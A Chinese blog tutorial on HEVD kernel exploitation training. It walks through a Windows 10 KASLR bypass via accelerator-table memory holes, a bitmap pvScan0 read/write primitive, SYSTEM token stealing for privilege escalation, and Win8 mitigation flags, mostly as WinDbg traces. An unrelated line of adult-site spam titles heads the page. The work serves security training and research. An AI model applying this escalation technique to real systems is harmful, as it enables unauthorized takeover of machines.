精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

HEVD內核漏洞訓練——陪Windows玩兒

安全 漏洞
在本文中,我將首先簡單介紹一下Bitmap,最新Win10的KASLR機制,對Bitmap造成的影響,以及如何利用Accelerator Table來bypass KASLR。

HEVD內核漏洞訓練

前言

前段時間在博客寫了一篇關于HEVD內核漏洞利用訓練的一篇文章,感覺當時做HEVD收獲很大,非常推薦這個訓練,這是HackSys Team做的一個Kernel Driver,里面包含了大量的常見漏洞,而且漏洞原理都非常簡單,考驗的就是各種各樣的利用方法,推薦在Win10下嘗試,有各種各樣經典的利用方法,比如gsharedInfo,GdiSharedHandleTable,NtAllocateVirtualMemory,替換token的shellcode等等。

對這個訓練的研究學習會對內核漏洞的原理,利用方式,Windows下很多常見的數據結構有一個初步的了解,從此打開Ring0的大門。

Windows在高版本中采取了越來越多的保護措施來防止漏洞利用,這讓攻擊變得越來越有意思,很多防護限制讓很多漏洞利用變得難上加難,在這篇文章中,我將針對HEVD的一個任意內存讀寫漏洞,利用Cn33liz的一個Exploit來完成攻擊并分析整個過程。

這次攻擊有一個主角,那就是Bitmap,本文主要分析在最新Win10版本以及Win8下,Bitmap到底有多強大的威力。

Bitmap

在本文中,我將首先簡單介紹一下Bitmap,最新Win10的KASLR機制,對Bitmap造成的影響,以及如何利用Accelerator Table來bypass KASLR。接下來我將和大家分享如何用SetBitmap和GetBitmap來完成攻擊,以及攻擊的主角,_SURFOBJ中的一個關鍵結構pvScan0。然后我將和大家分享Win10中的一些疑點,可能是坑,反正至今仍有一些疑惑在里面,接下來,我將結合我的偶像MJ0011在HITCON上一個關于Win8安全特性的演講,移步Win8,來看看Bitmap的超級殺傷力,以及這些安全特性的防護機制。文末我將把我在Win10和Win8下實驗的源碼放出來,這個源碼中包含對抗Win10和Win8的防護機制的一些過程,是基于Cn33liz大牛的源碼改寫。文中所有的測試都是基于我改寫的源碼完成的,相應的注釋都在源碼中,改動源碼倉促也不夠漂亮,望大家海涵。因為多次重新調試,地址有變化,可以結合文字一起研究學習。

關于這個漏洞成因,我不再進行詳細的講解,HackSys team的Github項目里有詳細說明,這個任意寫漏洞就是可以向指定地址寫進指定值,而沒有對寫入地址和寫入內容的合法性進行檢查。測試環境是最新版Win10。

測試環境是最新版Win10

陪Win10玩兒--CreateBitmap和KASLR

我之前的那篇HEVD的分享中,是在Windows7下面完成的,在Win7下面,我們擁有很多自由,可以向很多特殊的位置、結構寫入shellcode,并且在內核態完成shellcode的執行。但是在Win10中,增加了茫茫多的限制,很多利用變得很困難,shellcode似乎變得不太可行。

而在FuzzySecurity中也提到了data attack,在眾多限制下,Bitmap給我們提供了一個極大的便捷,這種攻擊手段威力很強,非常有趣。

在Windows10中,我們需要獲取Bitmap的內核地址,然后利用Bitmap這種_SURFOBJ結構的一個特殊成員變量來完成攻擊,也就是我們后面要提到的pvScan0。

在之前版本的Win10中,可以通過一個特殊的結構GdiSharedHandleTable來獲得Bitmap的內核對象地址。這個GdiSharedHandleTable是PEB結構體中的一個結構。而里面存放的內容是一個GDICELL64結構。關于在老版本Win10中利用GdiSharedHandleTable如何來獲得Bitmap并進行攻擊我不再詳述,在文章末尾,我會給出一篇非常棒的技術文章,里面詳述了這種攻擊方式。

在新版本Win10中,fix了這種方法,GdiSharedHandleTable獲得的地址,不再是一個有效的pkernelAddress,也就是說,即使我們通過這種方式和createbitmap的handle獲得了一個地址,然而并不是真正的pkernelAddress,當然我們的主角pvScan0也不正確。

  1. kd> dt @$PEB nt!_PEB GdiSharedHandleTable // 
  2.    +0x0f8 GdiSharedHandleTable : 0x00000000`00e00000 Void 
  3. kd> db 0x00000000`00e00000+0x0b69*0x18 L8 
  4. 00000000`00e111d8  69 0b c2 ff ff ff ff ff                          i....... 
  5. kd> dd ffffffffffc20b69 
  6. ffffffff`ffc20b69  ???????? ???????? ???????? ???????? 
  7. kd> dd ffff9f9683d01000 
  8. ffff9f96`83d01000  270501ac 00000000 00000000 00000000 
  9. ffff9f96`83d01010  00000000 00000000 00000000 00000000 

可以看到,在通過GdiSharedHandleTable獲得的Bitmap的內核地址是一個為開辟的內核空間和真正的Bitmap內核地址有所區別。這時候,gSharedInfo出現了,這個gSharedInfo是一個非常經典的結構,在很多kernel exploitation都出現過,它其中包含著內核結構,我們可以通過它獲得內核表,然后通過計算偏移得到內核對象地址。

解決這種問題的方法就是用AcceleratorTable加速鍵表,我之前的內核漏洞調試筆記之二調試的CVE-2015-2546就是用的加速鍵表,制造一個穩定的內存空洞,連續申請釋放內存,直到兩次申請釋放的AccleratorTable的內核句柄相同,則再申請相同大小的bitmap,這樣就能獲得GDI對象了,再通過這個對象的phead就是pkernelAddress。

http://p0.qhimg.com/t0134750a777dd1e538.png

如何獲得呢?在這個handleentry里有一個aheList,其中包含了一個phead對象,它就是指向pkerneladdress的。來看一下gSharedInfo的地址,這里我也不知道為什么,感覺可能是Win10很多win32k的結構體不透明化了,看不到tagSharedInfo的結構體,感覺像被隱藏了。

  1. kd> ?user32!gsharedinfo  //獲得gsharedinfo的地址值 
  2. Evaluate expression: 140725741012608 = 00007ffd`43cdc680 

獲得了gSharedInfo的地址之后,我們可以通過Accelerator Table的handle,獲取到gSharedInfo結構中的aheList對應的內核句柄值。

  1. kd> dd 7ffd43cdc680  //查看地址值的內容 
  2. 00007ffd`43cdc680  01360700 00000000 011e0000 00000000 
  3. kd> dt win32k!tagSHAREDINFO  //由于調試時tagSHAREDINFO不透明,這里只能                                   
  4. //從網上拷貝一個方便說明 
  5.      +0x000 psi                    :  tagSERVERINFO 
  6. +0x008 aheList                :  _HANDLEENTRY 
  7. kd> dq 7ffd43cdc680+0x8 L1 //+0x8位置的HANDLEENTRY就是我們要的表 
  8. 00007ffd`43cdc688  00000000`011e0000 

這樣就能得到句柄實際內核地址的表了,也就是指向GDI對象的表,這里就要計算對應的偏移了,計算方法其實和之前GdiSharedHandleTable很像,那個算對應GDICELL64地址的計算方法是:

GdiSharedHandleTable+(handle & 0xffff)*sizeof(GDICELL64)

這里就用_HANDLETABLE_ENTRY + (Accel & 0xffff)*sizeof(Accel)算出地址,這里Accel的值是:

  1. kd> r eax 
  2. eax=1700b9 
  3. kd> p 
  4. 0033:00007ff6`956112d1 488d1449   lea     rdx,[rcx+rcx*2]//計算handle的值 
  5. kd> p 
  6. 0033:00007ff6`956112d5 488bc8          mov     rcx,rax 
  7. kd> r rdx 
  8. rdx=000000000000022b// handle的值為22b 
  9. kd> dd 11e0000+22b*8 L1 // 11e0000是剛才獲得的HANDLENTRY,計算出偏移 
  10.  // 指向的就是GDI對象 
  11. 00000000`011e1158  81be7000 ffffbad3 

緊接著調用DestroyAcceleratorTable釋放這個加速鍵表,可以看到對應句柄內核指針的值也被釋放了。注意這里申請的Accelerator Table的大小是700,同樣如果制造出一個穩定的hole之后,申請bitmap的大小也是700。

  1. kd> p 
  2. 0033:00007ff6`956112d8 488b5cd500      mov     rbx,qword ptr [rbp+rdx*8] 
  3. kd> p 
  4. 0033:00007ff6`956112dd ff15451f0000    call    qword ptr [00007ff6`95613228] 
  5. kd> p 
  6. 0033:00007ff6`956112e3 babc020000      mov     edx,2BCh 
  7. kd> dd 11e0000+22b*8// 對應索引的位置GDI對象被釋放 
  8. 00000000`011e1158  0000042f 00000000 

可以看到,對應位置存放的GDI對象也釋放掉了,再次通過Create申請Accelerator Table。

  1. 0033:00007ff6`956112eb ff152f1f0000    call    qword ptr [00007ff6`95613220] 
  2. kd> p//返回值eax 
  3. 0033:00007ff6`956112f1 0fb7c8          movzx   ecx,ax 
  4. kd> r rax 
  5. rax=00000000001800b9 
  6. kd> p 
  7. 0033:00007ff6`956112f4 488d1449        lea     rdx,[rcx+rcx*2] 
  8. kd> p 
  9. 0033:00007ff6`956112f8 488bc8          mov     rcx,rax 
  10. kd> r rdx//計算獲得handle,和上一次申請的handle值一樣 
  11. rdx=000000000000022b 
  12. kd> dd 11e0000+22b*8//查看pkernelAddress 
  13. 00000000`011e1158  81be7000 ffffbad3 
  14. kd> dd ffffbad381be7000 l90//對應位置存放的值,+0x0位置就是phead 
  15.                             //GdiSharedHandleTable被fix,可以用這個方法 
  16. ffffbad3`81be7000  001800b9 00000000 00000000 00000000 
  17. ffffbad3`81be7010  00000000 00000000 000002bc 00000000 

句柄雖然改變但是對應索引位置在shared info handle entry的值仍然是相同的,這樣,再次在相同位置申請bitmap,首先釋放,來看下pkernelAddress的值:

  1. kd> p 
  2. 0033:00007ff6`95611311 ff15111f0000    call    qword ptr [00007ff6`95613228] 
  3. kd> p 
  4. 0033:00007ff6`95611317 33c9            xor     ecx,ecx 
  5. kd> dd ffffbad381be7000//查看GDI對象的內容也被釋放 
  6. ffffbad3`81be7000  ???????? ???????? ???????? ???????? 
  7. ffffbad3`81be7010  ???????? ???????? ???????? ???????? 
  8. ffffbad3`81be7020  ???????? ???????? ???????? ???????? 

指向的空間也被釋放了,隨后通過CreateBitmap申請bitmap,大小同樣是700,來占用Accelerator制造的穩定內存空洞。調用CreateBitmap之后占用了內存空洞。這樣,我們直接找到ffffbad381be7000這個GDI對象。

  1. kd> p//調用CreateBitmap創建Bitmap 
  2. 0033:00007ff6`95611345 ff15dd1c0000    call    qword ptr [00007ff6`95613028] 
  3. kd> p//創建成功返回 
  4. 0033:00007ff6`9561134b 488906          mov     qword ptr [rsi],rax 
  5. kd> dd ffffbad381be7000//查看原來Accelerator Table的內核地址位置的值 
  6. ffffbad3`81be7000  96050bd0 ffffffff 00000000 00000000 

可以看到,我們成功獲得了Bitmap的pkernelAddress,就是0xffffffff96050bd0,這樣,我們就成功在KASLR和fix GdiSharedHandleTable下,完成了bitmap pkernelAddress的獲取。

SetBitmap/GetBtimap和pvScan0

利用gSharedInfo獲取aheList,從而得到Accelerator Table在gshareInfo中的GDI對象從而獲得內核地址,利用Accelerator Table制造穩定的內存空洞,最后繞過KASLR和獲取Bitmap的pkernelAddress的目的就是獲得pvScan0這個結構,這個是Bitmap之所以成為data attack的核心。

這里我要提一下,在調試過程中,我們需要用__asm int 3來下斷點,但是在64位下VS不支持內聯匯編,因此我們在項目中創建一個.asm文件,實現int 3功能,再將其編譯,在項目主文件中用Int_3()來下軟中斷(詳見我的源碼),這樣我們在SetBitmap下斷點,首先命中GDI32!SetBitmapBitsStub:

  1. kd> p 
  2. GDI32!SetBitmapBitsStub+0x1c: 
  3. 0033:00007fff`bd5b44ac 488bd9          mov     rbx,rcx 
  4. kd> p//調用GDI32的IsTextOutAPresent -> IsSetWorldTransformImplPresent函數 
  5. GDI32!SetBitmapBitsStub+0x1f: 
  6. 0033:00007fff`bd5b44af e878b50000      call    GDI32!IsTextOutAPresent (00007fff`bd5bfa2c) 

隨后會到達call IsTextOutAPresent函數調用,這個函數在GDI32的實現是IsSetWorldTransformmImplPresent。

  1. char IsSetWorldTransformImplPresent() 
  2.   char result; // al@2 
  3.   char v1; // [sp+30h] [bp+8h]@5 
  4.    
  5.   if ( dword_18002E670 == 1 )//dword_18002E670檢查是否為1 
  6.   { 
  7.     result = dword_18002E670
  8.   } 
  9.   else if ( dword_18002E670 == 2 || (v1 = 0, ApiSetQueryApiSetPresence((__int64)L"LN", (__int64)&v1) < 0) ) 
  10.   { 
  11.     result = 0
  12.   } 
  13.   else 
  14.   { 
  15.     result = v1
  16.     dword_18002E670 = 2 - (v1 != 0); 
  17.   } 
  18.   return result; 

這個函數主要是對dword_18002E670這個值進行判斷,這個值是hmod ext ms win gdi internal desktop l1.1.0.dll+0x8位置的一個結構體變量,若為1則直接返回。

  1. kd> p 
  2. GDI32!IsUpdateColorsPresent+0x4://獲取dll+0x8位置的值 
  3. 0033:00007fff`bd5bfa30 8b0d3aec0100    mov     ecx,dword ptr [GDI32!_hmod__ext_ms_win_gdi_internal_desktop_l1_1_0_dll+0x8 (00007fff`bd5de670)] 
  4. kd> dd 00007fff`bd5de670//這個位置的值為1,后面是dll函數偏移 
  5. 00007fff`bd5de670  00000001 00000000 00000000 00000000 
  6. 00007fff`bd5de680  ba17ba20 00007fff ba174230 00007fff 
  7. 00007fff`bd5de690  ba1765d0 00007fff ba1eafa0 00007fff 
  8. kd> p 
  9. GDI32!IsUpdateColorsPresent+0xa://將這個值和1作比較 
  10. 0033:00007fff`bd5bfa36 83f901          cmp     ecx,1 
  11. kd> r ecx 
  12. ecx=1 

這個可能是判斷ext_ms_win_gdi_internal_desktop_l1.1.0.dll的加載情況,_imp_SetBitMapBits就鏈在這個dll中,隨后會跳轉。到zwGdiSetBitmapBits中。

  1. kd> p //調用_imp_SetBitmapBits函數 
  2. GDI32!SetBitmapBitsStub+0x30: 
  3. 0033:00007fff`bd5b44c0 ff15c2be0200    call    qword ptr [GDI32!_imp_SetBitmapBits (00007fff`bd5e0388)] 
  4. kd> t//跳轉到NtGdiSetBitmapBits 
  5. gdi32full!SetBitmapBits: 
  6. 0033:00007fff`ba17bcf0 48ff2509290900  jmp     qword ptr [gdi32full!_imp_NtGdiSetBitmapBits (00007fff`ba20e600)] 
  7. kd> p 
  8. win32u!ZwGdiSetBitmapBits: 
  9. 0033:00007fff`ba2d26f0 4c8bd1          mov     r10,rcx 
  10. //隨后會進入ZwGdiSetBitmap 
  11. .text:0000000180003330                 public ZwGdiSetBitmapDimension 
  12. .text:0000000180003330 ZwGdiSetBitmapDimension proc near       ; DATA XREF: .rdata:000000018000A544_x0019_o 
  13. .text:0000000180003330                                         ; .rdata:off_18000C608_x0019_o ... 
  14. .text:0000000180003330                 mov     r10, rcx 
  15. .text:0000000180003333                 mov     eax, 1118h 
  16. .text:0000000180003338                 test    byte ptr ds:7FFE0308h, 1 
  17. .text:0000000180003340                 jnz     short loc_180003345 
  18. .text:0000000180003342                 syscall 
  19. .text:0000000180003344                 retn 

syscall是AMD CPU下的sysenter,以此進入內核層,由于64位下沒有nt!KiFastCallEntry,而改用的是nt!KiSystemCall64,在64位系統下啟用了四個新的MSR寄存器,有不同的作用,其中MSR_LSTAR保存的是rip的相關信息,可以通過rdmsr c0000082的方法查看到syscall跳轉地址。這個地址正是nt!KiSystemCall64的入口地址。

  1. kd> rdmsr c0000082 
  2. msr[c0000082] = fffff801`7cb740c0 
  3. nt!KiSystemCall64: 
  4. 0033:fffff801`7cb740c0 0f01f8          swapgs 
  5. 0033:fffff801`7cb740c3 654889242510000000 mov   qword ptr gs:[10h],rsp 

到此,我們進入SetBitmap的內核態,之所以pvScan0這么重要,是因為SetBitmap會對pvScan0指向的內容寫數據,GetBitmap會獲取pvScan0指向的內容。這樣,我們可以設置一個Manager Bitmap(以下稱為M)和一個Work Bitmap(以下稱為W),將M的pvScan0修改成W的pvScan0地址,這樣每次就能用在M上調用SetBitmap將W的pvScan0內容修改成我們想要讀或者寫的地址,再調用Get/Set Bitmap來向指定地址讀取/寫入數據了。這么說有點亂,來看一下整個過程。

通過AcceleratorTable制造內存空洞占位獲取Bitmap的pkernelAddress之后,可以獲取到pvscan0的值,其中M存放W的pvscan0所存放的地址,而W的pvscan0用于最后寫入相關的內容,這樣我們調用setbitmapbits函數的時候,會將M的pvscan0里存放地址指向的值修改為要寫入的地址。

  1. kd> dq ffffbad383ae9050 L1 // M的pvScan0,現在指向W,這樣每次修改,相當                                //于修改W的pvScan0 
  2. ffffbad3`83ac8050  ffffbad3`83aeb050 
  3. kd> dq ffffbad383aeb050 L1//W的pvScan0,所在地址值就是M的pvScan0值 
  4. ffffbad3`83ac8050  ffffe28d`12762af0//要修改的就是這個值,向這個值的內容 
  5. //讀取/寫入數據 

這里就會將ffffbad383aeb050中的值改寫,因此在這里下內存寫入斷點。

  1. kd> ba w1 ffffbad383aeb050//向W的pvScan0下內存寫入斷點 
  2. kd> p 
  3. Breakpoint 0 hit 
  4. win32kfull!memmove+0x1cf://中斷在win32kfull!memmove函數中 
  5. ffffbab6`0b940f0f 75ef            jne     win32kfull!memmove+0x1c0 (ffffbab6`0b940f00) 
  6. kd> bl 
  7.  0 e ffffbad383aeb050 w 1 0001 (0001) 
  8. kd> kb 
  9. RetAddr:ArgstoChild  : Call Site 
  10. ffffbab6`0b88405c : 00000000`00fff8a0 00000000`00000000 00000000`00000a9a ffffbab6`0bbbf1da : win32kfull!memmove+0x1cc 
  11. ffffbab6`0b883e1a : ffffbad3`83ae9000 00000000`00000000 ffffffff`00000008 fffff801`00000704 : win32kfull!bDoGetSetBitmapBits+0x168 
  12. 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32kfull!GreSetBitmapBits+0x17a 
  13. kd> dq ffffbad383adc050 L1 //這里會寫入新的pvScan0,這個值是當前進程的                                       //token地址 
  14. ffffbad3`83aeb050  ffffe28d`12762b58 
  15. kd> !process 0 0 //查看當前進程 
  16. PROCESS ffffe28d12762800 
  17.     SessionId: 1  Cid: 10cc    Peb: 011cb000  ParentCid: 1124 
  18.     DirBase: 48d5b000  ObjectTable: ffffa709d16d1640  HandleCount: <Data Not Accessible> 
  19. Image: Stop_by_win10.exe 
  20. kd> dt nt!_EPROCESS Token ffffe28d12762800 
  21.    +0x358 Token : _EX_FAST_REF 
  22. kd> dq ffffe28d12762800+358 L1//看看token值,就是pvScan0的值 
  23. ffffe28d`12762b58  ffffa709`d1903996 

在Win10中,絕大多數的win32k.sys實現都在win32full里完成,這里利用M的pvScan0完成了對W的pvScan0值的修改,使之指向了當前進程的Token,接下來只需要調用GetBitmap/SetBitmap通過W的pvScan0,就可以完成對Token的讀取和修改,從而完成提權。

  1. kd> !process 0 4 //獲取System _EPROCESS結構 
  2. **** NT ACTIVE PROCESS DUMP **** 
  3. PROCESS ffffe28d0f662040 
  4.     SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000 
  5.     DirBase: 001aa000  ObjectTable: ffffa709c88032c0  HandleCount: <Data Not Accessible> 
  6.     Image: System 
  7. kd> dq ffffe28d0f662040+358 L1 //得到System  Token值 
  8. ffffe28d`0f662398  ffffa709`c88158ad 
  9. kd> p//調用setBitmap將這個值寫入當前進程的地址 
  10. 0033:00007ff7`9dd2217f 488bce          mov     rcx,rsi 
  11. kd> g 
  12. Break instruction exception - code 80000003 (first chance) 
  13. 0033:00007ff7`9dd222b0 cc              int     3 
  14. kd> !process //當前進程的_EPROCESS 
  15. PROCESS ffffe28d12cb2080 
  16.     SessionId: 1  Cid: 0b48    Peb: 0117d000  ParentCid: 1124 
  17.     DirBase: 320b6000  ObjectTable: ffffa709d5f84500  HandleCount: <Data Not Accessible> 
  18.     Image: Stop_by_win10.exe 
  19. kd> dq ffffe28d12cb2080+358 L1 //利用SetBitmap替換后,當前進程Token變成了                          //System Token,提權完成 
  20. ffffe28d`12cb23d8  ffffa709`c88158ad 

http://p3.qhimg.com/t0144791914c38b1dc5.png

我和大家分享了pvScan0在Bitmap這種data attack中的核心地位,Bitmap的pkernelAddress的獲取方法和如何通過pvScan0完成攻擊,接下來,我將結合偶像MJ0011的PPT,來講一下Win10的一些坑,以及回歸Win8下來看一下MJ0011的PPT中介紹的一些防護機制,和Bitmap的威力。

被Win10吊打的日子

在MJ0011的PPT中介紹了幾種防護機制,比如禁零頁,禁Win32k調用,SMEP,ExPoolWithTagNX等等。本來剛開始想在Win10下進行實驗,但是發現Win10下有很多奇怪的坑。這里簡單提一下幾種防護機制:

1、禁零頁,NtAllocateVirtualMmemory是現在常用的內核漏洞利用手法,Win8 _EPROCESS增加了一比特的Flags.VdmAllowed,當為0時禁用,當為1時可用。

2、禁Win32k,Win32k存在很多漏洞,比如UAF,我在前面兩個經典內核漏洞調試的分享中都是Win32k出的問題,這里通過_EPROCESS結構增加一比特的Flags2.DisallowWin32kSystemCalls禁用調用。

3、SMEP,在內核漏洞利用中,通常是利用內核態的一些失誤執行用戶態申請的空間存放的shellcode,這里直接通過SMEP禁止在內核態執行用戶態空間的代碼。這里,我將以禁Win32k調用和禁零頁來做實驗,利用的就是Bitmap來修改這兩個比特的值,看看能不能繞過禁用機制,首先來看一下當前進程,以及對應的兩個值。

  1. kd> !process 
  2. PROCESS ffffe28d12cb2080 
  3.     SessionId: 1  Cid: 0b48    Peb: 0117d000  ParentCid: 1124 
  4.     DirBase: 320b6000  ObjectTable: ffffa709d5f84500  HandleCount: <Data Not Accessible> 
  5.     Image: Stop_by_win10.exe 
  6. kd> dt nt!_EPROCESS VdmAllowed ffffe28d12cb2080 
  7.    +0x304 VdmAllowed : 0y0//標志位為0,禁用零頁 
  8. kd> dt nt!_EPROCESS DisallowWin32kSystemCalls ffffe28d12cb2080 
  9.    +0x300 DisallowWin32kSystemCalls : 0y0//標志位為1,默認不禁用Win32k 
  10. kd> dd ffffe28d12cb2080+300 L4 //查看一下Flags2和Flags的值 
  11. ffffe28d`12cb2380  0000d000 144d0c01 a1beb1e1 01d288e0 

可以看到,在當前進程Win32k API是不禁用的,也就是說,我們仍然可以直接調用Win32k的API,而NtAllocateVirtualMemory則處于禁用狀態。對于Flags來說是0000d0000,Flags2來說是144d0c01,這樣把它們轉換成二進制,把對應比特位置換為1(這個內容可以在我的源碼中看到),然后賦值給各自的Flags。

  1. kd> r r13//獲取兩個Flags值,并且修改比特位之后的值 
  2. r13=a1beb1e1164d0c00 
  3. kd> r r14 
  4. r14=144d0c018000d000 
  5. kd> g//命中軟中斷 
  6. Break instruction exception - code 80000003 (first chance) 
  7. 0033:00007ff7`9dd222b0 cc              int     3 
  8. kd> g 
  9. Break instruction exception - code 80000003 (first chance) 
  10. 0033:00007ff7`9dd222b0 cc              int     3 
  11. kd> dd ffffe28d12cb2080+300 L4//修改后,通過SetBitmap寫入偏移 
  12. ffffe28d`12cb2380  8000d000 164d0c01 a1beb1e1 01d288e0 

這里我采用了Win7零頁分配的方法,handle選擇0xffffffffffffffff,但是發現在Win10中,會調用ObpReferenceObjectByHandleWithTag函數Check handle,如果不是一個有效的handle,則直接返回,NTSTATUS直接報錯。

  1. kd> p 
  2. nt!MiAllocateVirtualMemory+0x7b8: 
  3. fffff801`7cee27c8 498bca          mov     rcx,r10 
  4. kd> p //ObpReferenceObjectByHandleWithTag check handle 
  5. nt!MiAllocateVirtualMemory+0x7bb: 
  6. fffff801`7cee27cb e8a0070100      call    nt!ObpReferenceObjectByHandleWithTag (fffff801`7cef2f70) 
  7. kd> p 
  8. nt!MiAllocateVirtualMemory+0x7c0: 
  9. fffff801`7cee27d0 89442464        mov     dword ptr [rsp+64h],eax 
  10. kd> r eax//沒有這個handle則返回NTSTATUS 
  11. eax=c0000008 
  12. // ObpReferenceObjectByHandleWithTag 檢查邏輯 
  13.   if ( (BugCheckParameter1 & 0x80000000) != 0i64 ) 
  14.   { 
  15.     if ( BugCheckParameter1 == -1i64 )//如果handle值為0xfff....ff 
  16.     { 
  17.       if ( v9 != PsProcessType && v9 ) 
  18.       { 
  19.         LODWORD(v12) = -1073741788; 
  20.       } 
  21.       else 
  22.       { 
  23.         v37 = *(_QWORD *)(v8 + 184); 
  24.         if ( v11 & 0xFFE00000 && a4 ) 
  25.         { 
  26.           LODWORD(v12) = -1073741790; 
  27.         } 
  28.         …… 
  29.       } 
  30.       return (unsigned int)v12;                 // C0000008 
  31.     } 
  32.     if ( BugCheckParameter1 == -2i64 ) 
  33.     { 
  34.     } 
  35.   } 

這樣,我們就只能修改代碼通過OpenProcess獲得當前進程handle,并且將VdmAllowed置1,但是發現即使NTSTATUS返回0,也就是STATUS_SUCCESS,內存狀態可寫,只需要memset初始化內存即可。

  1. kd> !process 
  2. PROCESS ffffe28d12fb0080 
  3.     SessionId: 1  Cid: 10b0    Peb: 00ddb000  ParentCid: 1124 
  4.     DirBase: 51685000  ObjectTable: ffffa709d9138200  HandleCount: <Data Not Accessible> 
  5.     Image: Stop_by_win10.exe 
  6. kd> dt nt!_EPROCESS VdmAllowed ffffe28d12fb0080 //當前VdmAllowed為1 
  7.    +0x304 VdmAllowed : 0y1 
  8. kd> p 
  9. 0033:00007ff7`16e7204c ff55a0          call    qword ptr [rbp-60h] 
  10. kd> p 
  11. 0033:00007ff7`16e7204f 0f28b424e0040000 movaps  xmm6,xmmword ptr [rsp+4E0h] 
  12. kd> p 
  13. 0033:00007ff7`16e72057 85c0            test    eax,eax 
  14. kd> r eax//NTSTATUS返回0,也就是STATUS_SUCCESS 
  15. eax=0 
  16. kd> dd 4600000000//等待初始化的內存 
  17. 00000046`00000000  ???????? ???????? ???????? ???????? 
  18. 00000046`00000010  ???????? ???????? ???????? ???????? 

同樣,我們修改Win32k為1,這樣就禁用了win32k調用,可以發現,在禁用后,會阻止win32k的調用,從而無法初始化cmd。關于win32k調用的邏輯后面會講到。

http://p7.qhimg.com/t01ced5dfa6174aad9b.png

回歸Win8看防護之NtAllocateVirtualMemory

接下來我們回到Win8 x86,來看一下NtAllocateVirtualMemory的防護到底是怎樣的。這里請使用文末我修改后的適用于win8 x86的代碼。首先是禁用零頁申請內存。我們首先在禁用零頁時調試,首先進入內核態,從ntdll進入nt。

  1. kd> p 
  2. 001b:77d4f04d e803000000    call    77d4f055//調用NtAllocateVirtualMemory 
  3. kd> t 
  4. 001b:77d4f055 8bd4            mov     edx,esp 
  5. 001b:77d4f055 8bd4            mov     edx,esp 
  6. 001b:77d4f057 0f34            sysenter//x86下用sysenter進入內核態 
  7. 001b:77d4f059 c3              ret 

在nt!NtAllocateVirtualMemory下斷點跟蹤,在入口處會先將Handle、BaseAddress等內容傳入寄存器(用于各種檢查,比如對Handle檢查合法性,在之前已經提過),接下來會通過fs:[0x124]獲取到_KTHRAD結構

  1. kd> p 
  2. nt!NtAllocateVirtualMemory+0x34://獲取KTHREAD結構 
  3. 81a891a2 648b3d24010000  mov     edi,dword ptr fs:[124h] 
  4. kd> p 
  5. nt!NtAllocateVirtualMemory+0x3b: 
  6. 81a891a9 897da8          mov     dword ptr [ebp-58h],edi 
  7. kd> r edi 
  8. edi=86599bc0 
  9. kd> dt nt!_KTHREAD 86599bc0 
  10.    +0x000 Header           : _DISPATCHER_HEADER 
  11.    +0x010 SListFaultAddress : (null) 

之后會將_KTHREAD+0x80偏移的值交給eax寄存器,偏移加0x80實際上就是EPROCESS結構,這個位置屬于APC域,這個位置在KTHREAD+0x70的位置,而EPROCESS又保存在KAPC_STATE+0x10的位置

  1. kd> p//edi是KTHREAD,eax的值是EPROCESS 
  2. nt!NtAllocateVirtualMemory+0x3e: 
  3. 81a891ac 8b8780000000    mov     eax,dword ptr [edi+80h] 
  4. kd> p 
  5. nt!NtAllocateVirtualMemory+0x44: 
  6. 81a891b2 8945b0          mov     dword ptr [ebp-50h],eax 
  7. kd> r eax 
  8. eax=85a44040 
  9. kd> !process 
  10. PROCESS 85a44040  SessionId: 1  Cid: 0860    Peb: 7f74d000  ParentCid: 0f08 
  11.     DirBase: 3df14300  ObjectTable: 8c173740  HandleCount: <Data Not Accessible> 
  12.     Image: Stop_by_win10.exe 
  13. kd> dt nt!_KTHREAD ApcState//偏移加0x70 
  14.    +0x070 ApcState : _KAPC_STATE 
  15. kd> dt nt!_KAPC_STATE//偏移加0x10,一共是0x80,對應的位置是EPROCESS 
  16.    +0x000 ApcListHead      : [2] _LIST_ENTRY 
  17.    +0x010 Process          : Ptr32 _KPROCESS 

接下來我們單步跟蹤,到達一處判斷,這里會將BaseAddress和0x10000作比較,小于則跳轉到另一處判斷

  1. kd> p 
  2. nt!NtAllocateVirtualMemory+0x9b7: 
  3. 81a89b25 3bd0            cmp     edx,eax 
  4. kd> r edx 
  5. edx=00000060 
  6. kd> r eax 
  7. eax=00010000 
  8. kd> p 
  9. nt!NtAllocateVirtualMemory+0x9b9://如果申請地址值小于0x1000,則跳轉 
  10. 81a89b27 0f8257781200    jb      nt! ?? ::NNGAKEGL::`string'+0x19d1a (81bb1384) 
  11. kd> p 
  12. nt! ?? ::NNGAKEGL::`string'+0x19d1a: 
  13. 81bb1384 f787c400000000000001 test dword ptr [edi+0C4h],1000000h 
  14. kd> dd edi+c4 L1//edi+0C4就是Flags 
  15. 85a44104  144d0c01 
  16. kd> p 
  17. nt! ?? ::NNGAKEGL::`string'+0x19d24://這里會將VdmAllowed值作比較判斷 
  18. 81bb138e 0f859987edff    jne     nt!NtAllocateVirtualMemory+0x9bf (81a89b2d) 

這個值很有意思,就是_EPROCESS.Flags2的值,來看一下,而這里判斷的就是Flags2中的一個比特位VdmAllowed

  1. kd> dt nt!_EPROCESS Flags 85a44040 
  2.    +0x0c4 Flags : 0x144d0c01 
  3. kd> dt nt!_EPROCESS VdmAllowed 85a44040 
  4.    +0x0c4 VdmAllowed : 0y0 

這里值為0,也就是禁用零頁分配,因此這里分配不成功將會進入處理,返回C00000F0

  1. kd> p 
  2. nt! ?? ::NNGAKEGL::`string'+0x19d2a: 
  3. 81bb1394 bef00000c0      mov     esi,0C00000F0h 
  4. kd> p 
  5. nt! ?? ::NNGAKEGL::`string'+0x19d2f: 
  6. 81bb1399 e94c87edff      jmp     nt!NtAllocateVirtualMemory+0x97c (81a89aea) 

我們來看一下NtAllocateVirtualMemory相關邏輯的偽代碼。

  1. NTSTATUS __stdcall NtAllocateVirtualMemory(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect) 
  2.       v65 = ProcessHandle
  3.     v68 = BaseAddress
  4.       v67 = AllocationSize
  5.     v7 = __readfsdword(292);//獲取_KTHREAD結構 
  6.     v7v76 = v7; 
  7.     v78 = *(PVOID *)(v7 + 128); //獲取+0x80 EPROCESS結構 
  8.     …… 
  9.     PreviousMode[0] = *(_BYTE *)(v7 + 346); 
